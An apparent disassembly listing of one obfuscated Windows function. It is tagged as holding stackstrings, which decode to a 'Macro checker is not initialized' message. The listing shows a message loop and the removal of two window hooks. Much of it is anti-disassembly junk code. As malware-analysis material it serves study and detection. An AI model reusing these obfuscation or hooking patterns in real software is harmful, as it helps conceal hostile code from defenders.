Function at 0x10011d20
Capabilities:
Contain obfuscated stackstrings

Disassembly:
jae 0x10011d1e
jmp 0x10011d19
call fcn.10011d20
jae 0x10011d19
add esp, 4
jmp 0x10011d25
dec dword [esp]
jno 0x10011d2a
jns 0x10011d15
jp 0x10011d2e
add esp, 4
popf
jmp 0x10011d35
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x10011d4e
jne 0x10011d4e
call 0x1fc150a2
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
mov byte [ebp - 0x38], 0x4d
mov byte [ebp - 0x37], 0x61
mov byte [ebp - 0x36], 0x63
mov byte [ebp - 0x35], 0x72
mov byte [ebp - 0x34], 0x6f
mov byte [ebp - 0x33], 0x20
mov byte [ebp - 0x32], 0x63
mov byte [ebp - 0x31], 0x68
mov byte [ebp - 0x30], 0x65
mov byte [ebp - 0x2f], 0x63
mov byte [ebp - 0x2e], 0x6b
mov byte [ebp - 0x2d], 0x65
mov byte [ebp - 0x2c], 0x72
mov byte [ebp - 0x2b], 0x20
mov byte [ebp - 0x2a], 0x69
mov byte [ebp - 0x29], 0x73
mov byte [ebp - 0x28], 0x20
mov byte [ebp - 0x27], 0x6e
mov byte [ebp - 0x26], 0x6f
mov byte [ebp - 0x25], 0x74
mov byte [ebp - 0x24], 0x20
mov byte [ebp - 0x23], 0x69
mov byte [ebp - 0x22], 0x6e
mov byte [ebp - 0x21], 0x69
mov byte [ebp - 0x20], 0x74
mov byte [ebp - 0x1f], 0x69
mov byte [ebp - 0x1e], 0x61
mov byte [ebp - 0x1d], 0x6c
mov byte [ebp - 0x1c], 0x69
mov byte [ebp - 0x1b], 0x7a
mov byte [ebp - 0x1a], 0x65
mov byte [ebp - 0x19], 0x64
mov byte [ebp - 0x18], 0x20
mov byte [ebp - 0x17], 0x6f
mov byte [ebp - 0x16], 0x72
mov byte [ebp - 0x15], 0x20
mov byte [ebp - 0x14], 0x74
mov byte [ebp - 0x13], 0x65
mov byte [ebp - 0x12], 0x72
mov byte [ebp - 0x11], 0x6d
mov byte [ebp - 0x10], 0x69
mov byte [ebp - 0xf], 0x6e
mov byte [ebp - 0xe], 0x61
mov byte [ebp - 0xd], 0x74
mov byte [ebp - 0xc], 0x65
mov byte [ebp - 0xb], 0x64
mov byte [ebp - 0xa], 0x2e
mov byte [ebp - 9], 0x25
mov byte [ebp - 8], 0x64
mov byte [ebp - 7], 0
push 1
lea eax, [ebp - 0x38]
push eax
lea ecx, [ebp - 0x4a0]
push ecx
call fcn.10010af0
add esp, 0xc
xor eax, eax
test eax, eax
je 0x10011e45
jne 0x10011e44
call 0x93050ecc
rol byte [ebx + eax*4], 0xf0
add eax, 0x3eb037c
sal dword [ebx + edi*8 - 8], 1
xor eax, 3
add eax, 4
xor eax, 5
jl 0x10011e53
jmp 0x10011e55
je 0x10011e50
clc
jae 0x10011e5a
cwde
sal dword [ebx + eax + 0x75], 1
add ecx, edx
je 0x10011e5f
jne 0x10011e5f
shl dword [esi - 0x64], 1
pushf
push 0xa
jae 0x10011e6c
jmp 0x10011e67
call 0x10011e6e
jae 0x10011e67
add esp, 4
jmp 0x10011e73
dec dword [esp]
jno 0x10011e78
jns 0x10011e63
jp 0x10011e7c
add esp, 4
popf
jmp 0x10011e83
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x10011e9c
jne 0x10011e9c
call 0x1fc151f0
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
call fcn.1001caa0
clc
jae 0x10011eb7
inc edx
lcall 0x773, 0xa6a9c66
pushf
push 0xa
jae 0x10011ec4
jmp 0x10011ebf
call 0x10011ec6
jae 0x10011ebf
add esp, 4
jmp 0x10011ecb
dec dword [esp]
jno 0x10011ed0
jns 0x10011ebb
jp 0x10011ed4
add esp, 4
popf
jmp 0x10011edb
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x10011ef4
jne 0x10011ef4
lcall 0x749a, 0x3eb037c
sti
jl 0x10011ef9
jmp 0x10011efb
je 0x10011ef6
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
xor eax, eax
test eax, eax
je 0x10011f15
jne 0x10011f14
call 0x93050f9c
rol byte [ebx + eax*4], 0xf0
add eax, 0x1750374
xor eax, 3
add eax, 4
xor eax, 5
je 0x10011f23
jne 0x10011f23
call 0xa5495caa
push es
adc byte [eax], al
cmp dword [0x10069548], 0
jne 0x10012165
xor eax, eax
test eax, eax
je 0x10011f39
jne 0x10011f38
call 0x93050fc0
rol byte [ebx + eax*4], 0xf0
add eax, 0x3eb037c
test byte [ebx + edi*8 - 8], dh
xor eax, 3
add eax, 4
xor eax, 5
jl 0x10011f47
jmp 0x10011f49
je 0x10011f44
clc
jae 0x10011f4e
ja 0x10011ed2
je 0x10011f53
jne 0x10011f53
test byte [esi - 0x64], ah
pushf
push 0xa
jae 0x10011f60
jmp 0x10011f5b
call 0x10011f62
jae 0x10011f5b
add esp, 4
jmp 0x10011f67
dec dword [esp]
jno 0x10011f6c
jns 0x10011f57
jp 0x10011f70
add esp, 4
popf
jmp 0x10011f77
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x10011f90
jne 0x10011f90
call 0x1fc152e4
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
mov byte [ebp - 0x6c], 0x4d
mov byte [ebp - 0x6b], 0x61
mov byte [ebp - 0x6a], 0x63
mov byte [ebp - 0x69], 0x72
mov byte [ebp - 0x68], 0x6f
mov byte [ebp - 0x67], 0x20
mov byte [ebp - 0x66], 0x63
mov byte [ebp - 0x65], 0x68
mov byte [ebp - 0x64], 0x65
mov byte [ebp - 0x63], 0x63
mov byte [ebp - 0x62], 0x6b
mov byte [ebp - 0x61], 0x65
mov byte [ebp - 0x60], 0x72
mov byte [ebp - 0x5f], 0x20
mov byte [ebp - 0x5e], 0x69
mov byte [ebp - 0x5d], 0x73
mov byte [ebp - 0x5c], 0x20
mov byte [ebp - 0x5b], 0x6e
mov byte [ebp - 0x5a], 0x6f
mov byte [ebp - 0x59], 0x74
mov byte [ebp - 0x58], 0x20
mov byte [ebp - 0x57], 0x69
mov byte [ebp - 0x56], 0x6e
mov byte [ebp - 0x55], 0x69
mov byte [ebp - 0x54], 0x74
mov byte [ebp - 0x53], 0x69
mov byte [ebp - 0x52], 0x61
mov byte [ebp - 0x51], 0x6c
mov byte [ebp - 0x50], 0x69
mov byte [ebp - 0x4f], 0x7a
mov byte [ebp - 0x4e], 0x65
mov byte [ebp - 0x4d], 0x64
mov byte [ebp - 0x4c], 0x20
mov byte [ebp - 0x4b], 0x6f
mov byte [ebp - 0x4a], 0x72
mov byte [ebp - 0x49], 0x20
mov byte [ebp - 0x48], 0x74
mov byte [ebp - 0x47], 0x65
mov byte [ebp - 0x46], 0x72
mov byte [ebp - 0x45], 0x6d
mov byte [ebp - 0x44], 0x69
mov byte [ebp - 0x43], 0x6e
mov byte [ebp - 0x42], 0x61
mov byte [ebp - 0x41], 0x74
mov byte [ebp - 0x40], 0x65
mov byte [ebp - 0x3f], 0x64
mov byte [ebp - 0x3e], 0x2e
mov byte [ebp - 0x3d], 0x25
mov byte [ebp - 0x3c], 0x64
mov byte [ebp - 0x3b], 0
push 2
lea edx, [ebp - 0x6c]
push edx
lea eax, [ebp - 0x8a0]
push eax
call fcn.10010af0
add esp, 0xc
xor eax, eax
test eax, eax
je 0x10012087
jne 0x10012086
call 0x9305110e
rol byte [ebx + eax*4], 0xf0
add eax, 0x3eb037c
sal dword [ebx + edi*8 - 8], 1
xor eax, 3
add eax, 4
xor eax, 5
jl 0x10012095
jmp 0x10012097
je 0x10012092
clc
jae 0x1001209c
cwde
sal dword [ebx + eax + 0x75], 1
add ecx, edx
je 0x100120a1
jne 0x100120a1
shl dword [esi - 0x64], 1
pushf
push 0xa
jae 0x100120ae
jmp 0x100120a9
call 0x100120b0
jae 0x100120a9
add esp, 4
jmp 0x100120b5
dec dword [esp]
jno 0x100120ba
jns 0x100120a5
jp 0x100120be
add esp, 4
popf
jmp 0x100120c5
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x100120de
jne 0x100120de
call 0x1fc15432
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
call fcn.1001caa0
clc
jae 0x100120f9
inc edx
lcall 0x773, 0xa6a9c66
pushf
push 0xa
jae 0x10012106
jmp 0x10012101
call 0x10012108
jae 0x10012101
add esp, 4
jmp 0x1001210d
dec dword [esp]
jno 0x10012112
jns 0x100120fd
jp 0x10012116
add esp, 4
popf
jmp 0x1001211d
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x10012136
jne 0x10012136
lcall 0x749a, 0x3eb037c
sti
jl 0x1001213b
jmp 0x1001213d
je 0x10012138
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
xor eax, eax
test eax, eax
je 0x10012157
jne 0x10012156
call 0x930511de
rol byte [ebx + eax*4], 0xf0
add eax, 0x1750374
xor eax, 3
add eax, 4
xor eax, 5
je 0x10012165
jne 0x10012165
call 0xa5455eec
push es
adc byte [eax], al
cmp dword [0x10069544], 0
jne 0x1001217b
cmp dword [0x10069548], 0
je 0x10012446
push 0
push 0
push 0
lea ecx, [ebp - 0xde8]
push ecx
call dword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
je 0x100121ae
lea edx, [ebp - 0xde8]
push edx
call dword [sym.imp.USER32.dll_TranslateMessage]
lea eax, [ebp - 0xde8]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageA]
jmp 0x1001217b
xor eax, eax
test eax, eax
je 0x100121b7
jne 0x100121b6
call 0x9305123e
rol byte [ebx + eax*4], 0xf0
add eax, 0x3eb037c
test byte [ebx + edi*8 - 8], dh
xor eax, 3
add eax, 4
xor eax, 5
jl 0x100121c5
jmp 0x100121c7
je 0x100121c2
clc
jae 0x100121cc
ja 0x10012150
je 0x100121d1
jne 0x100121d1
test byte [esi - 0x64], ah
pushf
push 0xa
jae 0x100121de
jmp 0x100121d9
call 0x100121e0
jae 0x100121d9
add esp, 4
jmp 0x100121e5
dec dword [esp]
jno 0x100121ea
jns 0x100121d5
jp 0x100121ee
add esp, 4
popf
jmp 0x100121f5
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x1001220e
jne 0x1001220e
call 0x1fc15562
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
mov byte [ebp - 0xa0], 0x4d
mov byte [ebp - 0x9f], 0x61
mov byte [ebp - 0x9e], 0x63
mov byte [ebp - 0x9d], 0x72
mov byte [ebp - 0x9c], 0x6f
mov byte [ebp - 0x9b], 0x20
mov byte [ebp - 0x9a], 0x63
mov byte [ebp - 0x99], 0x68
mov byte [ebp - 0x98], 0x65
mov byte [ebp - 0x97], 0x63
mov byte [ebp - 0x96], 0x6b
mov byte [ebp - 0x95], 0x65
mov byte [ebp - 0x94], 0x72
mov byte [ebp - 0x93], 0x20
mov byte [ebp - 0x92], 0x69
mov byte [ebp - 0x91], 0x73
mov byte [ebp - 0x90], 0x20
mov byte [ebp - 0x8f], 0x6e
mov byte [ebp - 0x8e], 0x6f
mov byte [ebp - 0x8d], 0x74
mov byte [ebp - 0x8c], 0x20
mov byte [ebp - 0x8b], 0x69
mov byte [ebp - 0x8a], 0x6e
mov byte [ebp - 0x89], 0x69
mov byte [ebp - 0x88], 0x74
mov byte [ebp - 0x87], 0x69
mov byte [ebp - 0x86], 0x61
mov byte [ebp - 0x85], 0x6c
mov byte [ebp - 0x84], 0x69
mov byte [ebp - 0x83], 0x7a
mov byte [ebp - 0x82], 0x65
mov byte [ebp - 0x81], 0x64
mov byte [ebp - 0x80], 0x20
mov byte [ebp - 0x7f], 0x6f
mov byte [ebp - 0x7e], 0x72
mov byte [ebp - 0x7d], 0x20
mov byte [ebp - 0x7c], 0x74
mov byte [ebp - 0x7b], 0x65
mov byte [ebp - 0x7a], 0x72
mov byte [ebp - 0x79], 0x6d
mov byte [ebp - 0x78], 0x69
mov byte [ebp - 0x77], 0x6e
mov byte [ebp - 0x76], 0x61
mov byte [ebp - 0x75], 0x74
mov byte [ebp - 0x74], 0x65
mov byte [ebp - 0x73], 0x64
mov byte [ebp - 0x72], 0x2e
mov byte [ebp - 0x71], 0x25
mov byte [ebp - 0x70], 0x64
mov byte [ebp - 0x6f], 0
push 3
lea ecx, [ebp - 0xa0]
push ecx
lea edx, [ebp - 0xca0]
push edx
call fcn.10010af0
add esp, 0xc
xor eax, eax
test eax, eax
je 0x10012368
jne 0x10012367
call 0x930513ef
rol byte [ebx + eax*4], 0xf0
add eax, 0x3eb037c
sal dword [ebx + edi*8 - 8], 1
xor eax, 3
add eax, 4
xor eax, 5
jl 0x10012376
jmp 0x10012378
je 0x10012373
clc
jae 0x1001237d
cwde
sal dword [ebx + eax + 0x75], 1
add ecx, edx
je 0x10012382
jne 0x10012382
shl dword [esi - 0x64], 1
pushf
push 0xa
jae 0x1001238f
jmp 0x1001238a
call 0x10012391
jae 0x1001238a
add esp, 4
jmp 0x10012396
dec dword [esp]
jno 0x1001239b
jns 0x10012386
jp 0x1001239f
add esp, 4
popf
jmp 0x100123a6
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x100123bf
jne 0x100123bf
call 0x1fc15713
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
call fcn.1001caa0
clc
jae 0x100123da
inc edx
lcall 0x773, 0xa6a9c66
pushf
push 0xa
jae 0x100123e7
jmp 0x100123e2
call 0x100123e9
jae 0x100123e2
add esp, 4
jmp 0x100123ee
dec dword [esp]
jno 0x100123f3
jns 0x100123de
jp 0x100123f7
add esp, 4
popf
jmp 0x100123fe
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x10012417
jne 0x10012417
lcall 0x749a, 0x3eb037c
sti
jl 0x1001241c
jmp 0x1001241e
je 0x10012419
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
xor eax, eax
test eax, eax
je 0x10012438
jne 0x10012437
call 0x930514bf
rol byte [ebx + eax*4], 0xf0
add eax, 0x1750374
xor eax, 3
add eax, 4
xor eax, 5
je 0x10012446
jne 0x10012446
call 0x169668eb
adc byte [eax - 1], dl
adc eax, sym.imp.USER32.dll_UnhookWindowsHookEx
mov eax, dword [0x10069544]
push eax
call dword [sym.imp.USER32.dll_UnhookWindowsHookEx]
mov ecx, dword [0x10069548]
push ecx
call dword [sym.imp.USER32.dll_UnhookWindowsHookEx]
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10030913
mov esp, ebp
pop ebp
ret 4